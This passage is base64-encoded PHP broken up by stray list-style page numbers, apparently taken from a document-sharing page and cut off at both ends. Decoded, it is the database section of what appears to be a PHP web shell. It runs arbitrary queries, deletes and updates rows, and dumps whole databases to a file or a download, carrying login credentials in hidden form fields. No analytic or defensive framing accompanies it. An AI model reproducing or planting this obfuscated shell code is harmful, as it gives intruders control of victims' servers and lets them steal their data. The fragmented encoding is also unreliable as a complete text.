ZiAoJHNxbF9hY3QgPT0gInRibGR1bXAiKSB7aWYgKGNvdW50KCRib3h0YmwpID4gMCkgeyRkbXB0 YmxzID0gJGJveHRibDt9IGVsc2VpZigkdGhpc3RibCkgeyRkbXB0YmxzID0gYXJyYXkoJHNxbF90 YmwpO30gJHNxbF9hY3QgPSAiZHVtcCI7fQ0KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAidGJsY2hl Y2siKSB7JHNxbF9xdWVyeSA9ICJDSEVDSyBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikg eyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxf cXVlcnksMCwtMSkuIjsiOyAkc3FsX2FjdCA9ICJxdWVyeSI7fQ0KICAgZWxzZWlmICgkc3FsX2Fj dCA9PSAidGJsb3B0aW1pemUiKSB7JHNxbF9xdWVyeSA9ICJPUFRJTUlaRSBUQUJMRSI7IGZvcmVh Y2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1 ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX2FjdCA9ICJxdWVyeSI7fQ0K ICAgZWxzZWlmICgkc3FsX2FjdCA9PSAidGJscmVwYWlyIikgeyRzcWxfcXVlcnkgPSAiUkVQQUlS IFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4i
  • 15. YCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfYWN0 ID0gInF1ZXJ5Ijt9DQogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJ0YmxhbmFseXplIikgeyRzcWxf cXVlcnkgPSAiQU5BTFlaRSBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVl cnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwt MSkuIjsiOyAkc3FsX2FjdCA9ICJxdWVyeSI7fQ0KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAiZGVs ZXRlcm93IikgeyRzcWxfcXVlcnkgPSAiIjsgaWYgKCFlbXB0eSgkYm94cm93X2FsbCkpIHskc3Fs X3F1ZXJ5ID0gIkRFTEVURSAqIEZST00gYCIuJHNxbF90YmwuImA7Ijt9IGVsc2Uge2ZvcmVhY2go JGJveHJvdyBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIkRFTEVURSAqIEZST00gYCIuJHNxbF90Ymwu ImAgV0hFUkUiLiR2LiIgTElNSVQgMTtcbiI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVl cnksMCwtMSk7fSAkc3FsX2FjdCA9ICJxdWVyeSI7fQ0KICAgZWxzZWlmICgkc3FsX3RibF9hY3Qg PT0gImluc2VydCIpDQogICB7DQogICAgaWYgKCRzcWxfdGJsX2luc2VydF9yYWRpbyA9PSAxKQ0K ICAgIHsNCiAgICAgJGtleXMgPSAiIjsNCiAgICAgJGFrZXlzID0gYXJyYXlfa2V5cygkc3FsX3Ri bF9pbnNlcnQpOw0KICAgICBmb3JlYWNoICgkYWtleXMgYXMgJHYpIHska2V5cyAuPSAiYCIuYWRk c2xhc2hlcygkdikuImAsICI7fQ0KICAgICBpZiAoIWVtcHR5KCRrZXlzKSkgeyRrZXlzID0gc3Vi c3RyKCRrZXlzLDAsc3RybGVuKCRrZXlzKS0yKTt9DQogICAgICR2YWx1ZXMgPSAiIjsNCiAgICAg JGkgPSAwOw0KICAgICBmb3JlYWNoIChhcnJheV92YWx1ZXMoJHNxbF90YmxfaW5zZXJ0KSBhcyAk dikge2lmICgkZnVuY3QgPSAkc3FsX3RibF9pbnNlcnRfZnVuY3RzWyRha2V5c1skaV1dKSB7JHZh bHVlcyAuPSAkZnVuY3QuIiAoIjt9ICR2YWx1ZXMgLj0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsg aWYgKCRmdW5jdCkgeyR2YWx1ZXMgLj0gIikiO30gJHZhbHVlcyAuPSAiLCAiOyAkaSsrO30NCiAg ICAgaWYgKCFlbXB0eSgkdmFsdWVzKSkgeyR2YWx1ZXMgPSBzdWJzdHIoJHZhbHVlcywwLHN0cmxl bigkdmFsdWVzKS0yKTt9DQogICAgICRzcWxfcXVlcnkgPSAiSU5TRVJUIElOVE8gYCIuJHNxbF90 YmwuImAgKCAiLiRrZXlzLiIgKSBWQUxVRVMgKCAiLiR2YWx1ZXMuIiApOyI7DQogICAgICRzcWxf YWN0ID0gInF1ZXJ5IjsNCiAgICAgJHNxbF90YmxfYWN0ID0gImJyb3dzZSI7DQogICAgfQ0KICAg IGVsc2VpZiAoJHNxbF90YmxfaW5zZXJ0X3JhZGlvID09IDIpDQogICAgew0KICAgICAkc2V0ID0g bXlzcWxfYnVpbGR3aGVyZSgkc3FsX3RibF9pbnNlcnQsIiwgIiwkc3FsX3RibF9pbnNlcnRfZnVu Y3RzKTsNCiAgICAgJHNxbF9xdWVyeSA9ICJVUERBVEUgYCIuJHNxbF90YmwuImAgU0VUICIuJHNl dC4iIFdIRVJFICIuJHNxbF90YmxfaW5zZXJ0X3EuIiBMSU1JVCAxOyI7DQogICAgICRyZXN1bHQg PSBteXNxbF9xdWVyeSgkc3FsX3F1ZXJ5KSBvciBwcmludChteXNxbF9zbWFydGVycm9yKCkpOw0K ICAgICAkcmVzdWx0ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpOw0K ICAgICAkc3FsX2FjdCA9ICJxdWVyeSI7DQogICAgICRzcWxfdGJsX2FjdCA9ICJicm93c2UiOw0K ICAgIH0NCiAgIH0NCiAgIGlmICgkc3FsX2FjdCA9PSAicXVlcnkiKQ0KICAgew0KICAgICRzcWxf cXVlcnkgPSB1cmxkZWNvZGUoJHNxbF9xdWVyeSk7DQogICAgZWNobyAiPGhyIHNpemU9XCIxXCIg bm9zaGFkZT4iOw0KICAgIGlmICgoJHN1Ym1pdCkgYW5kICghJHNxbF9xdWVyeV9yZXN1bHQpIGFu ZCAoJHNxbF9jb25maXJtKSkge2lmICghJHNxbF9xdWVyeV9lcnJvcikgeyRzcWxfcXVlcnlfZXJy b3IgPSAiUXVlcnkgd2FzIGVtcHR5Ijt9IGVjaG8gIjxiPkVycm9yOjwvYj4gPGJyPiIuJHNxbF9x dWVyeV9lcnJvci4iPGJyPiI7fQ0KICAgIGlmICgkc3FsX3F1ZXJ5X3Jlc3VsdCBvciAoISRzcWxf Y29uZmlybSkpIHskc3FsX2FjdCA9ICRzcWxfZ290bzt9DQogICAgaWYgKCghJHN1Ym1pdCkgb3Ig KCRzcWxfYWN0KSkge2VjaG8gIjx0YWJsZSBib3JkZXI9XCIwXCIgd2lkdGg9XCIxMDAlXCIgaGVp Z2h0PVwiMVwiPjx0cj48dGQ+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxiPiI7IGlmICgoJHNxbF9x dWVyeSkgYW5kICghJHN1Ym1pdCkpIHtlY2hvICJEbyB5b3UgcmVhbGx5IHdhbnQgdG86Ijt9IGVs c2Uge2VjaG8gIlNRTC1RdWVyeSA6Ijt9IGVjaG8gIjwvYj48YnI+PGJyPjx0ZXh0YXJlYSBuYW1l PVwic3FsX3F1ZXJ5XCIgY29scz1cIjEwMFwiIHJvd3M9XCIxMFwiPiIuaHRtbHNwZWNpYWxjaGFy cygkc3FsX3F1ZXJ5KS4iPC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIg bmFtZT1cInNxbF9kYlwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiJcIj48 aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcG9ydFwiIHZhbHVlPVwiIi5odG1sc3Bl Y2lhbGNoYXJzKCRzcWxfcG9ydCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNx bF9zZXJ2ZXJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIlwiPjxp bnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9wYXNzd2RcIiB2YWx1ZT1cIiIuaHRtbHNw ZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1c InNxbF9sb2dpblwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJcIj48 aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJhY3RcIiB2YWx1ZT1cInNxbFwiPjxpbnB1dCB0 eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9hY3RcIiB2YWx1ZT1cInF1ZXJ5XCI+PGlucHV0IHR5 cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJz KCRzcWxfdGJsKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3VibWl0XCIgdmFs dWU9XCIxXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2dvdG9cIiB2YWx1ZT1c IiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2dvdG8pLiJcIj48aW5wdXQgdHlwZT1cInN1Ym1pdFwi IG5hbWU9XCJzcWxfY29uZmlybVwiIHZhbHVlPVwiWWVzXCI+Jm5ic3A7PGlucHV0IHR5cGU9XCJz dWJtaXRcIiB2YWx1ZT1cIk5vXCI+PC9mb3JtPjwvdGQ+PC90cj48L3RhYmxlPiI7fQ0KICAgfQ0K ICAgaWYgKGluX2FycmF5KCRzcWxfYWN0LCRhY3RzKSkNCiAgIHsNCiAgICA/Pjx0YWJsZSBib3Jk
  • 16. ZXI9IjAiIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEiPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0 PSIxIj48Yj5DcmVhdGUgbmV3IHRhYmxlOjwvYj48Zm9ybSBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0 eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIg bmFtZT0ic3FsX2FjdCIgdmFsdWU9Im5ld3RibCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0i c3FsX2RiIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpOyA/PiI+ PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9waHAgZWNobyBo dG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFt ZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bh c3N3ZCk7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0i PD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPjxpbnB1dCB0eXBl PSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNo YXJzKCRzcWxfcG9ydCk7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX25ld3RibCIg c2l6ZT0iMjAiPiZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDcmVhdGUiPjwvZm9y bT48L3RkPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPkR1bXAgREI6PC9iPjxmb3JtIG1l dGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ic3FsIj48 aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfYWN0IiB2YWx1ZT0iZHVtcCI+PGlucHV0IHR5 cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2RiIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNo YXJzKCRzcWxfZGIpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2 YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+PGlucHV0 IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNw ZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJz cWxfc2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVy KTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAg ZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIg bmFtZT0iZHVtcF9maWxlIiBzaXplPSIzMCIgdmFsdWU9Ijw/cGhwIGVjaG8gImR1bXBfIi5nZXRl bnYoIlNFUlZFUl9OQU1FIikuIl8iLiRzcWxfZGIuIl8iLmRhdGUoImQtbS1ZLUgtaS1zIikuIi5z cWwiOyA/PiI+Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVl PSJEdW1wIj48L2Zvcm0+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjwvdHI+ PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdo dD0iMSI+PC90ZD48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjwvdHI+PC90YWJsZT48 P3BocA0KICAgIGlmICghZW1wdHkoJHNxbF9hY3QpKSB7ZWNobyAiPGhyIHNpemU9XCIxXCIgbm9z aGFkZT4iO30NCiAgICBpZiAoJHNxbF9hY3QgPT0gIm5ld3RibCIpDQogICAgew0KICAgICBlY2hv ICI8Yj4iOw0KICAgICBpZiAoKG15c3FsX2NyZWF0ZV9kYiAoJHNxbF9uZXdkYikpIGFuZCAoIWVt cHR5KCRzcWxfbmV3ZGIpKSkge2VjaG8gIkRCIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbmV3 ZGIpLiJcIiBoYXMgYmVlbiBjcmVhdGVkIHdpdGggc3VjY2VzcyE8L2I+PGJyPiI7DQogICAgfQ0K ICAgIGVsc2Uge2VjaG8gIkNhbid0IGNyZWF0ZSBEQiBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3Fs X25ld2RiKS4iXCIuPGJyPlJlYXNvbjo8L2I+ICIubXlzcWxfc21hcnRlcnJvcigpO30NCiAgIH0N CiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gImR1bXAiKQ0KICAgew0KICAgIGlmIChlbXB0eSgkc3Vi bWl0KSkNCiAgICB7DQogICAgICRkaXBsYXkgPSBGQUxTRTsNCiAgICAgZWNobyAiPGZvcm0gbWV0 aG9kPVwiUE9TVFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImFjdFwiIHZhbHVlPVwi c3FsXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2FjdFwiIHZhbHVlPVwiZHVt cFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9kYlwiIHZhbHVlPVwiIi5odG1s c3BlY2lhbGNoYXJzKCRzcWxfZGIpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJz cWxfbG9naW5cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iXCI+PGlu cHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3Bhc3N3ZFwiIHZhbHVlPVwiIi5odG1sc3Bl Y2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwi c3FsX3NlcnZlclwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iXCI+ PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3BvcnRcIiB2YWx1ZT1cIiIuaHRtbHNw ZWNpYWxjaGFycygkc3FsX3BvcnQpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJz cWxfdGJsXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48Yj5TUUwt RHVtcDo8L2I+PGJyPjxicj4iOw0KICAgICBlY2hvICI8Yj5EQjo8L2I+Jm5ic3A7PGlucHV0IHR5 cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF9kYlwiIHZhbHVlPVwiIi51cmxlbmNvZGUoJHNxbF9kYiku IlwiPjxicj48YnI+IjsNCiAgICAgJHYgPSBqb2luICgiOyIsJGRtcHRibHMpOw0KICAgICBlY2hv ICI8Yj5Pbmx5IHRhYmxlcyAoZXhwbG9kZSBcIjtcIikmbmJzcDs8Yj48c3VwPjE8L3N1cD48L2I+ OjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiZG1wdGJsc1wiIHZhbHVlPVwi Ii5odG1sc3BlY2lhbGNoYXJzKCR2KS4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkdikrNSkuIlwiPjxi cj48YnI+IjsNCiAgICAgaWYgKCRkdW1wX2ZpbGUpIHskdG1wID0gJGR1bXBfZmlsZTt9DQogICAg IGVsc2UgeyR0bXAgPSBodG1sc3BlY2lhbGNoYXJzKCIuL2R1bXBfIi5nZXRlbnYoIlNFUlZFUl9O QU1FIikuIl8iLiRzcWxfZGIuIl8iLmRhdGUoImQtbS1ZLUgtaS1zIikuIi5zcWwiKTt9DQogICAg
  • 17. IGVjaG8gIjxiPkZpbGU6PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxf ZHVtcF9maWxlXCIgdmFsdWU9XCIiLiR0bXAuIlwiIHNpemU9XCIiLihzdHJsZW4oJHRtcCkrc3Ry bGVuKCR0bXApICUgMzApLiJcIj48YnI+PGJyPiI7DQogICAgIGVjaG8gIjxiPkRvd25sb2FkOiA8 L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzcWxfZHVtcF9kb3dubG9h ZFwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+PGJyPjxicj4iOw0KICAgICBlY2hvICI8Yj5TYXZlIHRv IGZpbGU6IDwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInNxbF9kdW1w X3NhdmV0b2ZpbGVcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPiI7DQogICAgIGVjaG8gIjxicj48YnI+ PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwic3VibWl0XCIgdmFsdWU9XCJEdW1wXCI+PGJy Pjxicj48Yj48c3VwPjE8L3N1cD48L2I+IC0gYWxsLCBpZiBlbXB0eSI7DQogICAgIGVjaG8gIjwv Zm9ybT4iOw0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICAkZGlwbGF5ID0gVFJVRTsNCiAg ICAgJHNldCA9IGFycmF5KCk7DQogICAgICRzZXRbInNvY2siXSA9ICRzcWxfc29jazsNCiAgICAg JHNldFsiZGIiXSA9ICRzcWxfZGI7DQogICAgICRkdW1wX291dCA9ICJkb3dubG9hZCI7DQogICAg ICRzZXRbInByaW50Il0gPSAwOw0KICAgICAkc2V0WyJubDJiciJdID0gMDsNCiAgICAgJHNldFsi Il0gPSAwOw0KICAgICAkc2V0WyJmaWxlIl0gPSAkZHVtcF9maWxlOw0KICAgICAkc2V0WyJhZGRf ZHJvcCJdID0gVFJVRTsNCiAgICAgJHNldFsib25seXRhYnMiXSA9IGFycmF5KCk7DQogICAgIGlm ICghZW1wdHkoJGRtcHRibHMpKSB7JHNldFsib25seXRhYnMiXSA9IGV4cGxvZGUoIjsiLCRkbXB0 YmxzKTt9DQogICAgICRyZXQgPSBteXNxbF9kdW1wKCRzZXQpOw0KICAgICBpZiAoJHNxbF9kdW1w X2Rvd25sb2FkKQ0KICAgICB7DQogICAgICBAb2JfY2xlYW4oKTsNCiAgICAgIGhlYWRlcigiQ29u dGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsNCiAgICAgIGhlYWRlcigiQ29u dGVudC1sZW5ndGg6ICIuc3RybGVuKCRyZXQpKTsNCiAgICAgIGhlYWRlcigiQ29udGVudC1kaXNw b3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLmJhc2VuYW1lKCRzcWxfZHVtcF9maWxl KS4iXCI7Iik7DQogICAgICBlY2hvICRyZXQ7DQogICAgICBleGl0Ow0KICAgICB9DQogICAgIGVs c2VpZiAoJHNxbF9kdW1wX3NhdmV0b2ZpbGUpDQogICAgIHsNCiAgICAgICRmcCA9IGZvcGVuKCRz cWxfZHVtcF9maWxlLCJ3Iik7DQogICAgICBpZiAoISRmcCkge2VjaG8gIjxiPkR1bXAgZXJyb3Ih IENhbid0IHdyaXRlIHRvIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZHVtcF9maWxlKS4iXCIh Ijt9DQogICAgICBlbHNlDQogICAgICB7DQogICAgICAgZndyaXRlKCRmcCwkcmV0KTsNCiAgICAg ICBmY2xvc2UoJGZwKTsNCiAgICAgICBlY2hvICI8Yj5EdW1wZWQhIER1bXAgaGFzIGJlZW4gd3Jp dGVkIHRvIFwiIi5odG1sc3BlY2lhbGNoYXJzKHJlYWxwYXRoKCRzcWxfZHVtcF9maWxlKSkuIlwi ICgiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkc3FsX2R1bXBfZmlsZSkpLiIpPC9iPi4iOw0KICAgICAg fQ0KICAgICB9DQogICAgIGVsc2Uge2VjaG8gIjxiPkR1bXA6IG5vdGhpbmcgdG8gZG8hPC9iPiI7 fQ0KICAgIH0NCiAgIH0NCiAgIGlmICgkZGlwbGF5KQ0KICAgew0KICAgIGlmICghZW1wdHkoJHNx bF90YmwpKQ0KICAgIHsNCiAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2FjdCkpIHskc3FsX3RibF9h Y3QgPSAiYnJvd3NlIjt9DQogICAgICRjb3VudCA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgQ09VTlQo KikgRlJPTSBgIi4kc3FsX3RibC4iYDsiKTsNCiAgICAgJGNvdW50X3JvdyA9IG15c3FsX2ZldGNo X2FycmF5KCRjb3VudCk7DQogICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRjb3VudCk7DQogICAgICR0 Ymxfc3RydWN0X3Jlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIEZJRUxEUyBGUk9NIGAiLiRzcWxf dGJsLiJgOyIpOw0KICAgICAkdGJsX3N0cnVjdF9maWVsZHMgPSBhcnJheSgpOw0KICAgICB3aGls ZSAoJHJvdyA9IG15c3FsX2ZldGNoX2Fzc29jKCR0Ymxfc3RydWN0X3Jlc3VsdCkpIHskdGJsX3N0 cnVjdF9maWVsZHNbXSA9ICRyb3c7fQ0KICAgICBpZiAoJHNxbF9scyA+ICRzcWxfbGUpIHskc3Fs X2xlID0gJHNxbF9scyArICRwZXJwYWdlO30NCiAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX3BhZ2Up KSB7JHNxbF90YmxfcGFnZSA9IDA7fQ0KICAgICBpZiAoZW1wdHkoJHNxbF90YmxfbHMpKSB7JHNx bF90YmxfbHMgPSAwO30NCiAgICAgaWYgKGVtcHR5KCRzcWxfdGJsX2xlKSkgeyRzcWxfdGJsX2xl ID0gMzA7fQ0KICAgICAkcGVycGFnZSA9ICRzcWxfdGJsX2xlIC0gJHNxbF90YmxfbHM7DQogICAg IGlmICghaXNfbnVtZXJpYygkcGVycGFnZSkpIHskcGVycGFnZSA9IDEwO30NCiAgICAgJG51bXBh Z2VzID0gJGNvdW50X3Jvd1swXS8kcGVycGFnZTsNCiAgICAgJGUgPSBleHBsb2RlKCIgIiwkc3Fs X29yZGVyKTsNCiAgICAgaWYgKGNvdW50KCRlKSA9PSAyKQ0KICAgICB7DQogICAgICBpZiAoJGVb MF0gPT0gImQiKSB7JGFzY19kZXNjID0gIkRFU0MiO30NCiAgICAgIGVsc2UgeyRhc2NfZGVzYyA9 ICJBU0MiO30NCiAgICAgICR2ID0gIk9SREVSIEJZIGAiLiRlWzFdLiJgICIuJGFzY19kZXNjLiIg IjsNCiAgICAgfQ0KICAgICBlbHNlIHskdiA9ICIiO30NCiAgICAgJHF1ZXJ5ID0gIlNFTEVDVCAq IEZST00gYCIuJHNxbF90YmwuImAgIi4kdi4iTElNSVQgIi4kc3FsX3RibF9scy4iICwgIi4kcGVy cGFnZS4iIjsNCiAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSkgb3IgcHJpbnQobXlz cWxfc21hcnRlcnJvcigpKTsNCiAgICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT48Y2Vu dGVyPjxiPlRhYmxlICIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIiAoIi5teXNxbF9udW1f ZmllbGRzKCRyZXN1bHQpLiIgY29scyBhbmQgIi4kY291bnRfcm93WzBdLiIgcm93cyk8L2I+PC9j ZW50ZXI+IjsNCiAgICAgZWNobyAiPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQuc3Fs LmFjdC52YWx1ZT0nc3FsJztkb2N1bWVudC5zcWwuc3FsX2xvZ2luLnZhbHVlPSciLmh0bWxzcGVj aWFsY2hhcnMoJHNxbF9sb2dpbikuIic7ZG9jdW1lbnQuc3FsLnNxbF9wYXNzd2QudmFsdWU9JyIu aHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIic7ZG9jdW1lbnQuc3FsLnNxbF9zZXJ2ZXIu dmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIic7ZG9jdW1lbnQuc3FsLnNx
  • 18. bF9wb3J0LnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJztkb2N1bWVudC5z cWwuc3FsX2RiLnZhbHVlPSciLnVybGVuY29kZSgkc3FsX2RiKS4iJztkb2N1bWVudC5zcWwuc3Fs X3RibC52YWx1ZT0nIi51cmxlbmNvZGUoJHNxbF90YmwpLiInO2RvY3VtZW50LnNxbC5zcWxfdGJs X2FjdC52YWx1ZT0nc3RydWN0dXJlJztkb2N1bWVudC5zcWwuc3VibWl0KCk7XCI+WyZuYnNwOzxi PlN0cnVjdHVyZTwvYj4mbmJzcDtdPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7DQogICAgIGVjaG8g IjxhIGhyZWY9XCIjXCIgb25jbGljaz1cImRvY3VtZW50LnNxbC5hY3QudmFsdWU9J3NxbCc7ZG9j dW1lbnQuc3FsLnNxbF9sb2dpbi52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4p LiInO2RvY3VtZW50LnNxbC5zcWxfcGFzc3dkLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNx bF9wYXNzd2QpLiInO2RvY3VtZW50LnNxbC5zcWxfc2VydmVyLnZhbHVlPSciLmh0bWxzcGVjaWFs Y2hhcnMoJHNxbF9zZXJ2ZXIpLiInO2RvY3VtZW50LnNxbC5zcWxfcG9ydC52YWx1ZT0nIi5odG1s c3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIic7ZG9jdW1lbnQuc3FsLnNxbF9kYi52YWx1ZT0nIi51 cmxlbmNvZGUoJHNxbF9kYikuIic7ZG9jdW1lbnQuc3FsLnNxbF90YmwudmFsdWU9JyIudXJsZW5j b2RlKCRzcWxfdGJsKS4iJztkb2N1bWVudC5zcWwuc3FsX3RibF9hY3QudmFsdWU9J2Jyb3dzZSc7 ZG9jdW1lbnQuc3FsLnN1Ym1pdCgpO1wiPlsmbmJzcDs8Yj5Ccm93c2U8L2I+Jm5ic3A7XTwvYT4m bmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICBlY2hvICI8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJk b2N1bWVudC5zcWwuYWN0LnZhbHVlPSdzcWwnO2RvY3VtZW50LnNxbC5zcWxfbG9naW4udmFsdWU9 